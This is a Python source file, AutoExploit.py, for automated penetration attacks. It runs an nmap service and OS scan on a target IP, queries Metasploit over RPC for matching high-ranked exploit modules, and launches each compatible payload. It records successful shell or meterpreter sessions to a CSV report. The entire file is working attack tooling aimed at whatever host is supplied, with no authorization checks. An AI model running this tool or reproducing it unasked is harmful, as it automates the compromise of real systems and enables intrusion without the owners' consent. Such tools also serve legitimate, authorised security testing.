AutoExploit.py

import nmap
import http.client
import msgpack
import os
import configparser
import json
import sys                                                                                                                                    
import getopt
import csv                                                                                                                                    
import time                                                                                                                                   
import re                                                                                                                                     
import docopt                                                                                                                                 
import ipaddress                                                                                                                              

OKBLUE = '\033[96m'                                                                                                                           
OKGREEN = '\033[92m'                                                                                                                          
YELLOW = '\033[93m'                                                                                                                           
ENDC = '\033[0m'
RED = '\033[0;31m'
platform_list = ['linux', 'windows', 'osx', 'android','bsd','solaris']

# Interface of Metasploit.
class Msgrpc:
    def __init__(self, option=[]):
        self.host = option.get('host') or "127.0.0.1"
        self.port = option.get('port') or 55552
        self.uri = option.get('uri') or "/api/"
        self.ssl = option.get('ssl') or False
        self.authenticated = False
        self.token = False
        self.user = ""
        self.password = ""
        self.headers = {"Content-type": "binary/message-pack"}
        if self.ssl:
            self.client = http.client.HTTPSConnection(self.host, self.port)
        else:
            self.client = http.client.HTTPConnection(self.host, self.port)

    # Call RPC API.
    def call(self, meth, option):
        if meth != "auth.login":
            if not self.authenticated:
                print('MsfRPC: Not Authenticated')
                exit(1)

        if meth != "auth.login":
            option.insert(0, self.token)

        option.insert(0, meth)
        params = msgpack.packb(option)

        try:
            self.client.request("POST", self.uri, params, self.headers)
            resp = self.client.getresponse()
        except: # remote disconnect
            # re-connect 
            print(RED+"Remote disconnected... wait 3 seconds and try to reconnect"+ENDC)
            time.sleep(3)
            try:
                if self.ssl:
                    self.client = http.client.HTTPSConnection(self.host, self.port)
                else:
                    self.client = http.client.HTTPConnection(self.host, self.port)
            except:
                writeError("Msf RPC Connect Error!\n")
                exit(1)

            else:
                raise Exception('Remote disconnect')
            
        return msgpack.unpackb(resp.read())

    # Log in to RPC Server.
    def login(self, user, password):
        try:
            ret = self.call('auth.login', [user, password])
        except:
            errMsg = 'MsfRPC: Authentication Failed or Remote Connect Refused\n'
            print(RED+errMsg+ENDC)
            writeError(errMsg)
            exit(1)
        else:    
            if ret.get(b'result') == b'success':
                self.authenticated = True
                self.token = ret.get(b'token')
                return True
            else:
                errMsg = 'MsfRPC: Authentication Failed or Remote Connect Refused\n'
                print(RED+errMsg+ENDC)
                writeError(errMsg)
                exit(1)

    # Send Metasploit command.
    def send_command(self, console_id, command, visualization, sleep=0.1):
        _ = self.call('console.write', [console_id, command])
        time.sleep(sleep)
        ret = self.call('console.read', [console_id])
        if visualization:
            try:
                print(ret.get(b'data').decode('utf-8'))
            except Exception as e:
                print("type:{0}".format(type(e)))
                print("args:{0}".format(e.args))
                print("{0}".format(e))
                print('send_command is exception')
        return ret

    # Get all modules.
    def get_module_list(self, module_type):
        ret = {}
        if module_type == 'exploit':
            ret = self.call('module.exploits', [])
        elif module_type == 'auxiliary':
            ret = self.call('module.auxiliary', [])
        elif module_type == 'post':
            ret = self.call('module.post', [])
        elif module_type == 'payload':
            ret = self.call('module.payloads', [])
        elif module_type == 'encoder':
            ret = self.call('module.encoders', [])
        elif module_type == 'nop':
            ret = self.call('module.nops', [])
        byte_list = ret[b'modules']
        string_list = []
        for module in byte_list:
            string_list.append(module.decode('utf-8'))
        return string_list

    # Get module detail information.
    def get_module_info(self, module_type, module_name):
        return self.call('module.info', [module_type, module_name])

    # Get payload that compatible module.
    def get_compatible_payload_list(self, module_name):
        ret = self.call('module.compatible_payloads', [module_name])
        byte_list = ret[b'payloads']
        string_list = []
        for module in byte_list:
            string_list.append(module.decode('utf-8'))
        return string_list

    # Get payload that compatible target.
    def get_target_compatible_payload_list(self, module_name, target_num):
        ret = self.call('module.target_compatible_payloads', [module_name, target_num])
        byte_list = ret[b'payloads']
        string_list = []
        for module in byte_list:
            string_list.append(module.decode('utf-8'))
        return string_list

    # Get module options.
    def get_module_options(self, module_type, module_name):
        return self.call('module.options', [module_type, module_name])

    # Execute module.
    def execute_module(self, module_type, module_name, options):
        ret = self.call('module.execute', [module_type, module_name, options])
        try:
            job_id = ret[b'job_id']
            uuid = ret[b'uuid'].decode('utf-8')
        except:
            err = ret[b'error_message'].decode('utf-8')
            errMsg = module_name + " error!\n"+err+"\n"
            writeError(errMsg)
            # msf session abort, try to re login 
            if err == "Invalid Authentication Token":
                raise       
            return None,None
        return job_id, uuid

    # Get job list.
    def get_job_list(self):
        jobs = self.call('job.list', [])
        byte_list = jobs.keys()
        job_list = []
        for job_id in byte_list:
            if job_id.decode('utf-8').isnumeric():
                job_list.append(int(job_id.decode('utf-8')))
        return job_list

    # Get job detail information.
    def get_job_info(self, job_id):
        return self.call('job.info', [job_id])

    # Stop job.
    def stop_job(self, job_id):
        return self.call('job.stop', [job_id])

    # Get session list.
    def get_session_list(self):
        try:
            ret = self.call('session.list',[])
        except:
            raise
            return
        return self.call('session.list', [])

    # Stop shell session.
    def stop_session(self, session_id):
        _ = self.call('session.stop', [str(session_id)])

    # Stop meterpreter session.
    def stop_meterpreter_session_kill(self, session_id):
        _ = self.call('session.meterpreter_session_kill', [str(session_id)])

    # Log out from RPC Server.
    def logout(self):
        ret = self.call('auth.logout', [self.token])
        if ret.get(b'result') == b'success':
            self.authenticated = False
            self.token = ''
            return True
        else:
            print('MsfRPC: Authentication failed')
            exit(1)

    # Disconnection.
    def termination(self, console_id):
        # Kill a console.
        _ = self.call('console.session_kill', [console_id])
        # Log out
        _ = self.logout()
        # close error log


# Metasploit's environment.
class Metasploit:
    def __init__(self):
        # Read config file.
        full_path = os.path.dirname(os.path.abspath(__file__))
        config = configparser.ConfigParser()
        try:
            config.read(os.path.join(full_path, 'config.ini'))
        except FileExistsError as err:
            print('File exists error: {0}'.format(err))
            sys.exit(1)

        server_host = config['Exploit']['server_host']
        server_port = config['Exploit']['server_port']
        self.msgrpc_user = config['Exploit']['msgrpc_user']
        self.msgrpc_password = config['Exploit']['msgrpc_pass']
        self.data_path = os.path.join(full_path, config['Exploit']['data_path'])
        self.timeout = int(config['Exploit']['timeout'])
        self.wait_for_banner = float(config['Exploit']['wait_for_banner'])
        #self.report_path = os.path.join(full_path, config['Report']['report_path'])
        #self.report_temp = os.path.join(self.report_path, config['Report']['report_temp'])

        # Create Metasploit's instance.
        self.client = Msgrpc({'host': server_host, 'port': server_port})
        self.client.login(self.msgrpc_user, self.msgrpc_password)
        self.console_id = self.get_console()

    # Parse.
    def cutting_strings(self, pattern, target):
        return re.findall(pattern, target)

    # Create MSFconsole.
    def get_console(self):
        # Create a console.
        ret = self.client.call('console.create', [])
        console_id = ret.get(b'id')
        ret = self.client.call('console.read', [console_id])
        return console_id

    # Display GyoiExploit's banner.
    def show_banner(self):
        banner = """
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 ______            _       _ _   _ 
|  ____|          | |     (_) | (_)
| |__  __  ___ __ | | ___  _| |_ _ _ __   __ _ 
|  __| \ \/ / '_ \| |/ _ \| | __| | '_ \ / _` |
| |____ >  <| |_) | | (_) | | |_| | | | | (_| |_ _ _
|______/_/\_\ .__/|_|\___/|_|\__|_|_| |_|\__, (_|_|_)
            | |                           __/ |      
            |_|                          |___/       
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
""" + 'by ' + os.path.basename(__file__)
        print(OKGREEN + banner + ENDC)
        print()

    # Get all Exploit module list.
    def get_all_exploit_list(self):
        print('[+] Get exploit list.')
        all_exploit_list = []
        if os.path.exists('exploit_list.csv') is False:
            print('[*] Loading exploit list from Metasploit.')

            # Get Exploit module list.
            all_exploit_list = []
            exploit_candidate_list = self.client.get_module_list('exploit')
            for exploit in exploit_candidate_list:
                module_info = self.client.get_module_info('exploit', exploit)
                if module_info[b'rank'].decode('utf-8') in {'excellent', 'great', 'good'}:
                    all_exploit_list.append(exploit)

            # Save Exploit module list to local file.
            print('[*] Loaded exploit num: ' + str(len(all_exploit_list)))
            fout = open('exploit_list.csv', 'w')
            for item in all_exploit_list:
                fout.write(item + '\n')
            fout.close()
            print('[*] Saved exploit list.')
        else:
            # Get exploit module list from local file.
            local_file = os.path.join(self.data_path, 'exploit_list.csv')
            print('[*] Loading exploit list from local file: ' + local_file)
            fin = open(local_file, 'r')
            for item in fin:
                all_exploit_list.append(item.rstrip('\n'))
            fin.close()
        return all_exploit_list

    # Create exploit tree.
    def get_exploit_tree(self, all_exploit_list):
        print('[+] Get exploit tree.')
        exploit_tree = {}
        if os.path.exists('exploit_tree.json') is False:
            for idx, exploit in enumerate(all_exploit_list):
                temp_target_tree = {'targets': []}
                temp_tree = {}
                # Set exploit module.
                use_cmd = 'use exploit/' + exploit + '\n'
                _ = self.client.send_command(self.console_id, use_cmd, False)

                # Get target.
                show_cmd = 'show targets\n'
                target_info = ''
                time_count = 0
                while True:
                    ret = self.client.send_command(self.console_id, show_cmd, False)
                    target_info = ret.get(b'data').decode('utf-8')
                    if 'Exploit targets' in target_info:
                        break
                    if time_count == 5:
                        print('[*] Timeout: {0}'.format(show_cmd))
                        print('[*] No exist Targets.')
                        break
                    time.sleep(1.0)
                    time_count += 1
                target_list = self.cutting_strings(r'\s*([0-9]{1,3}) .*[a-z|A-Z|0-9].*[\r\n]', target_info)
                for target in target_list:
                    # Get payload list.
                    payload_list = self.client.get_target_compatible_payload_list(exploit, int(target))
                    temp_tree[target] = payload_list

                # Get options.
                options = self.client.get_module_options('exploit', exploit)
                key_list = options.keys()
                option = {}
                for key in key_list:
                    sub_option = {}
                    sub_key_list = options[key].keys()
                    for sub_key in sub_key_list:
                        if isinstance(options[key][sub_key], list):
                            end_option = []
                            for end_key in options[key][sub_key]:
                                end_option.append(end_key.decode('utf-8'))
                            sub_option[sub_key.decode('utf-8')] = end_option
                        else:
                            end_option = {}
                            if isinstance(options[key][sub_key], bytes):
                                sub_option[sub_key.decode('utf-8')] = options[key][sub_key].decode('utf-8')
                            else:
                                sub_option[sub_key.decode('utf-8')] = options[key][sub_key]

                    # User specify.
                    sub_option['user_specify'] = ""
                    option[key.decode('utf-8')] = sub_option

                # Add payloads and targets to exploit tree.
                temp_target_tree['target_list'] = target_list
                temp_target_tree['targets'] = temp_tree
                temp_target_tree['options'] = option.copy()
                exploit_tree[exploit] = temp_target_tree
                # Output processing status to console.
                print('[*] {0}/{1} exploit:{2}, targets:{3}'.format(str(idx + 1),
                                                                    len(all_exploit_list),
                                                                    exploit,
                                                                    len(target_list)))
                # DEBUG
                # with open(env.data_path + 'exploit_tree.json', 'w') as fout:
                #     json.dump(exploit_tree, fout, indent=4)

            # Save exploit tree to local file.
            fout = open('exploit_tree.json', 'w')
            json.dump(exploit_tree, fout, indent=4)
            fout.close()
            print('[*] Saved exploit tree.')
        else:
            # Get exploit tree from local file.
            local_file = 'exploit_tree.json'
            print('[*] Loading exploit tree from local file: ' + local_file)
            fin = open(local_file, 'r')
            exploit_tree = json.load(fin)
            fin.close()
        return exploit_tree

    # Get exploit module list for product.
    def get_exploit_list(self, service,platform):
        module_list = []
        port_module = []
        for port_service in service:
            if 'os' in port_service:
                break
            prod_name = port_service['service']['name']
            prod_name = prod_name.replace('-','_')
            prod = port_service['service']['product']
            search_cmd = 'search name:' + prod_name + ' type:exploit app:server\n'
            ret = self.client.send_command(self.console_id, search_cmd, False, 3.0)
            raw_module_info = ret.get(b'data').decode('utf-8')
            exploit_candidate_list = self.cutting_strings(r'(exploit/.*)', raw_module_info)
            # add product to serach keywrods
            if prod is not None:
                prod_list = prod.lower().split()
                for p in prod_list:
                    p = p.replace('-','_')
                    if p in prod_name or p in platform_list:
                        continue
                    search_cmd = 'search name:' + p + ' type:exploit app:server\n'
                    ret = self.client.send_command(self.console_id, search_cmd, False, 3.0)
                    raw_module_info = ret.get(b'data').decode('utf-8')
                    candidate_list = self.cutting_strings(r'(exploit/.*)', raw_module_info)
                    for candidate in candidate_list:
                        if candidate not in exploit_candidate_list:
                            exploit_candidate_list.append(candidate)
            tmp_list = []
            for exploit in exploit_candidate_list:
                raw_exploit_info = exploit.split(' ')
                exploit_info = list(filter(lambda s: s != '', raw_exploit_info))
                if exploit_info[2] in {'excellent', 'great', 'good'}:
                        tmp_list.append(exploit_info[0].replace('exploit/',''))

            port_module.append({'port': port_service['port'],'modules':tmp_list[:]})
            for module in tmp_list:
                if module not in module_list:
                    module_list.append(module)
        return module_list,port_module

    # Get target list.
    def get_target_list(self):
        ret = self.client.send_command(self.console_id, 'show targets\n', False, 3.0)
        data = ret.get(b'data')
        if data is not None:
            target_info = data.decode('utf-8')
            target_list = self.cutting_strings(r'\s+([0-9]{1,3}).*[a-z|A-Z|0-9].*[\r\n]', target_info)
            return target_list

    # Set Metasploit options.
    def set_options(self, target_ip, target_port, exploit, payload, exploit_tree):
        options = exploit_tree[exploit]['options']
        key_list = options.keys()
        option = {}
        for key in key_list:
            if options[key]['required'] is True:
                sub_key_list = options[key].keys()
                if 'default' in sub_key_list:
                    # If "user_specify" is not null, set "user_specify" value to the key.
                    if options[key]['user_specify'] == '':
                        option[key] = options[key]['default']
                    else:
                        option[key] = options[key]['user_specify']
                else:
                    option[key] = '0'
        option['RHOST'] = target_ip
        option['RPORT'] = target_port
        if payload != '':
            option['PAYLOAD'] = payload
        return option

    # Run exploit.
    def exploit(self, target_ip, service, platform, keyword):
        # Display banner.
        self.show_banner()
        time.sleep(self.wait_for_banner)

        # Get exploit modules link with product.
        module_list,port_module_list = self.get_exploit_list(service,platform)
        # Get metadata of exploit modules
        exploit_tree = self.get_exploit_tree(module_list)
        for port_n_module in port_module_list:
            port = port_n_module['port']
            modules = port_n_module['modules']
            modLen = len(modules)
            print(OKGREEN+"exploiting port "+str(port)+ENDC) 
            print("module length: "+str(modLen))
            count = 0
            for exploit_module in modules:
                count += 1
                print(OKGREEN+"using exploit/"+exploit_module+", "+str(count)+"/"+str(modLen)+ENDC)
                # Set exploit module.
                _ = self.client.send_command(self.console_id, 'use exploit/' + exploit_module + '\n', False, 1.0)

                # Send payload to target server while changing target.
                result = ''
                # Always try target=0
                payload_list = self.client.get_target_compatible_payload_list(exploit_module, 0)
                for payload in payload_list:

                    # Filter the unmatched payload
                    payloadOS = payload.split('/')[0]
                    payloadOS_ = payload.split('/')[1]
                    if any(payloadOS in os for os in platform_list) or any(payloadOS_ in os for os in platform_list):
                        if not any(payloadOS in possibleOS for possibleOS in platform) and not any(payloadOS_ in possibleOS for possibleOS in platform):
                            continue
                    if keyword not in payload:
                        continue
                    # Set options.
                    option = self.set_options(target_ip, port, exploit_module, payload, exploit_tree)
                    # Try to run exploit.
                    try:
                        job_id, uuid = self.client.execute_module('exploit', exploit_module, option)
                    except:
                        print("session interrupt! Reconnecting to msf...")
                        self.client.login(self.msgrpc_user, self.msgrpc_password)
                        self.console_id = self.get_console()
                        continue
                    # Judgement.
                    if uuid is not None:
                        # Waiting for running is finish (maximum wait time is "self.timeout (sec)".
                        time_count = 0
                        while True:
                            # Get job list.
                            try:
                                job_id_list = self.client.get_job_list()
                            except Exception as e:
                                print (str(e))
                                try:
                                    self.client.login(self.msgrpc_user, self.msgrpc_password)
                                    self.console_id = self.get_console()
                                except:
                                    writeError("Msf RPC Connect Error")
                                    exit(1)

                            if job_id in job_id_list:
                                time.sleep(1)
                            else:
                                break
                            if self.timeout == time_count:
                                # Delete job.
                                result = 'timeout'
                                self.client.stop_job(str(job_id))
                                break
                            time_count += 1
                        # Get session list.
                        try:
                            sessions = self.client.get_session_list()
                            key_list = sessions.keys()
                        except: # remote disconneted
                            self.client.login(self.msgrpc_user, self.msgrpc_password)
                            self.console_id = self.get_console()
                            print(RED+"reconnect to msf....")
                            print("continue to try another module"+ENDC)
                            continue
                            
                        if len(key_list) != 0:
                            for key in key_list:
                                # If session list include target exploit uuid,
                                # it probably succeeded exploitation.
                                try:
                                    exploit_uuid = sessions[key][b'exploit_uuid'].decode('utf-8')
                                except:
                                    #print("Cannot fetch uuid")
                                    break

                                if uuid == exploit_uuid:
                                    result = 'bingo!!'

                                    # Gather reporting items.
                                    session_type = sessions[key][b'type'].decode('utf-8')
                                    session_port = str(sessions[key][b'session_port'])
                                    session_exploit = sessions[key][b'via_exploit'].decode('utf-8')
                                    session_payload = sessions[key][b'via_payload'].decode('utf-8')
                                    module_info = self.client.get_module_info('exploit', session_exploit)
                                    vuln_name = module_info[b'name'].decode('utf-8')
                                    description = module_info[b'description'].decode('utf-8')
                                    ref_list = module_info[b'references']
                                    reference = ''
                                    for item in ref_list:
                                        i0 = ""
                                        i1 = ""
                                        if type(item[0]) is int:
                                            i0 = str(item[0])
                                        else:
                                            i0 = item[0].decode('utf-8')
                                        if type(item[1]) is int:
                                            i1 = str(item[1])
                                        else:
                                            i1 = item[1].decode('utf-8')
                                        reference += '[' + i0 + ']' + '@' + i1 + '@@'

                                    # Logging target information for reporting.
                                    #with open(os.path.join(self.report_path, self.report_temp), 'a') as fout:
                                    with open("report.csv", 'a') as fout:
                                        bingo = [target_ip,
                                                 session_port,
                                                 vuln_name,
                                                 session_type,
                                                 description,
                                                 session_exploit,
                                                 session_payload,
                                                 reference]
                                        writer = csv.writer(fout)
                                        writer.writerow(bingo)

                                    # Disconnect all session for next exploit.
                                    self.client.stop_session(key)
                                    self.client.stop_meterpreter_session_kill(key)
                                    break
                                else:
                                    # If session list doesn't target exploit uuid,
                                    # it failed exploitation.
                                    result = 'failure'
                        else:
                            # If session list is empty, it failed exploitation.
                            result = 'failure'
                    else:
                        # Time out.
                        result = 'timeout'

                    # Output result to console.
                    string_color = ''
                    if result == 'bingo!!':
                        string_color = OKBLUE
                    else:
                        string_color = YELLOW
                    print(string_color + '[*] {0}, payload: {1}, result: {2}'
                          .format(exploit_module, payload, result) + ENDC)

        # Terminate
        self.client.termination(self.console_id)
        return


class Scanner:
        
    def scan(self, targetIp):
        print(OKGREEN+"[*] Nmap scanning..."+ENDC)
        nm = nmap.PortScanner()
        results = nm.scan(hosts=targetIp,arguments="-sV -sC -O")

        # add possible os into list 
        osResult = results['scan'][targetIp]['osmatch'][0]['osclass']
        platform = []
        for os in osResult:
            newos = os['osfamily'].lower()
            if newos not in platform:
                platform.append(newos)
        targetInfo = results['scan'][targetIp]['tcp']
        result = []
        for k in targetInfo.keys():
            item = {'port':int(k), 'service': targetInfo[int(k)]}
            result.append(item.copy())
        os = {'os':platform}
        result.append(os)
        return result,platform

#def get_info(target):
#    f = open(target)
#    ips = f.readlines()
#    return [x.strip() for x in ips]

def parseArg(argv):
    targetHost = ''
    nmapFile = ''
    keyword = ''
    try:
        opts, args = getopt.getopt(argv,"ha:n:k:")
    except getopt.GetoptError:
        print ('fetch.py -a <targetIP> -n <nmapResult> -k <payload keyword>')
        sys.exit(2)

    for opt,arg in opts:
        if opt == '-h':
            print ('fetch.py -a <targetIP> -n <nmapResult>')
        elif opt == '-a':
            targetHost = arg
        elif opt == '-n':
            nmapFile = arg
        elif opt == '-k':
            keyword = arg

    return targetHost, nmapFile, keyword

def writeError(msg):
    errorLog = open('error.log','a')
    errorLog.write(msg)
    errorLog.close()

if __name__ == "__main__":

    targetHost, nmapFile,keyword = parseArg(sys.argv[1:])
    if not targetHost:
        print(RED+"Target host file required!"+ENDC)
        sys.exit(2)
    
    if not nmapFile:
        print(RED+"No nmap file found. Start scanning..."+ENDC)
        scan = Scanner()
        service,platform = scan.scan(targetHost)
        map_result = open("map.json","w")
        json.dump(service,map_result,indent=4)
        map_result.close()
        input("[v] Nmap result is written into map.json.")
    else:    
        f = open(nmapFile)
        service = json.load(f)
        platform = service[-1]['os']

    do_exploit = Metasploit()
    do_exploit.exploit(targetHost, service, platform,keyword)
    print(OKBLUE+"End up exploitation!"+ENDC)
    sys.exit(0)